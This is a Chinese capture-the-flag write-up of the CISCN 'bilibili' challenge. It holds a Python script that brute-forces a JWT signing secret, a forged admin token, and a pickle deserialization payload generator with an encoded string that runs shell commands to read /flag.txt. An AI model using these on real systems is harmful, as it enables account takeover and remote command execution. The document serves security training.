xctf-bilibili(Intruder,JWT,Python反序列化)

这是CISCN(全国大学生信息安全竞赛)真题,考察Burp Suite 的 Intruder 模块,JWT(JSON Web Token),Python2.7 反序列化。通过Intruder 模块找到要购买的lv6页面,通过修改折扣得知需要提权到admin,然后对JWT进行暴力破解,找到JWT的密钥1Kun,然后生成admin的JWT,再访问,拿到源码,发现是Python2.7,找到反序列化漏洞,生成命令执行的序列化字符串,最终拿到flag。

ailx10 (知乎名)

网络安全优秀回答者

互联网行业 安全攻防员

去知乎咨询

难度系数:5(官方难度:9)

注册账号,会有一个初始资金,然后让我们购买lv6,翻了几页,看看返回内容,就知道要先找到 lv6.png

使用 Burp Suite的 Intruder 模块,设置好匹配HTTP响应内容的关键字

轻松找到 181 页有lv6

通过URL,指定翻页到 181 页

发现钱不够,买不了lv6,使用 Burp Suite 代理,修改价格或折扣

  • 修改价格:显示操作失败

  • 修改折扣:会302跳转到 /b1g_m4mber 显示:该页面,只允许admin访问

对请求头中的JWT(JSON Web Token)进行在线解密。一个JWT由三部分组成:头部(Header)、载荷(Payload)和签名(Signature)。这三部分都使用Base64编码,通过点号(.)连接起来形成一个JWT字符串。

  • Header:{"alg":"HS256","typ":"JWT"},说明这是一个使用HS256算法加密的JWT
  • Payload:{"username":"ailx10"},表明这个token携带的信息是用户名为"ailx10"
  • Signature:数字签名,为了保证信息未被篡改以及验证发送者身份。它是个Hash值,由Header,Payload和密钥3部分计算而来,需要暴力破解密钥,才能伪造JWT。
JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFpbHgxMCJ9.ReKajPakyWV9NvWMv_J_14-iVm76jZCyS1rgQZr3rGk

提前知道密钥长度是4位,暴力破解大约消耗10分钟

import jwt
import itertools
import string

encoded_jwt = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFpbHgxMCJ9.ReKajPakyWV9NvWMv_J_14-iVm76jZCyS1rgQZr3rGk'

# 定义字符集:大小写字母+数字
charset = string.ascii_letters + string.digits

# 遍历所有4位长度的可能密钥
for candidate in itertools.product(charset, repeat=4):
    # 将元组转换为字符串
    secret = ''.join(candidate)
    try:
        # 尝试使用当前猜测的密钥解码JWT
        decoded = jwt.decode(encoded_jwt, secret, algorithms=["HS256"])
        print(f"成功破解!密钥是: {secret}")
        print(decoded)
        break
    except jwt.InvalidTokenError:
        # 如果密钥不对,继续尝试下一个
        continue

使用密钥1Kun,生成新的JWT

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

使用Burp Suite 再来拦截一次,修改JWT和折扣,经过302跳转,再修改JWT,最终获得了 admin 权限

得到线索,是源码

<!-- 潜伏敌后已久,只能帮到这了 -->
<a href="/static/asd1f654e683wq/www.zip" >

代码审计,看 main.py 得知是 Python2.7 开发的,漏洞存在于 AdminHandler 类的 post()方法中的pickle.loads(urllib.unquote(become))这一行,pickle模块用于Python对象的序列化和反序列化

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

构造序列化字符串:ccommands%0Agetoutput%0Ap0%0A%28S%27ls%20/%27%0Ap1%0Atp2%0ARp3%0A.

# -*- coding: utf-8 -*-
import pickle
import urllib
import commands  # Python 2.7 中使用commands模块

class Payload(object):
    def __reduce__(self):
        # 使用commands.getoutput来执行系统命令
        return (commands.getoutput, ('ls /',))

# 创建Payload实例并序列化
a = Payload()
serialized_payload = pickle.dumps(a)

# URL编码序列化的payload
encoded_payload = urllib.quote(serialized_payload)

print(encoded_payload)

点击一键成为大会员(注意第一个GET请求,已经使用新的JWT验明admin身份了)

修改become为计算的序列化内容,即可命令执行,在响应内容中看到 ls / 的结果,flag.txt 赫然在列

重复以上步骤,将 ls / 改成 cat /flag.txt 就能拿到 flag

开启送礼物

赞赏已升级为送礼物,用户可以付费支持你的创作

所属专栏 · 2025-05-31 11:25 更新

信息安全入门

ailx10

网络安全话题下的优秀答主

最热内容 ·

零基础学习网络安全这一块,请问有哪些相关资料可以推荐一下?

发布于 2025-02-06 08:50・江苏

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ailx10

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值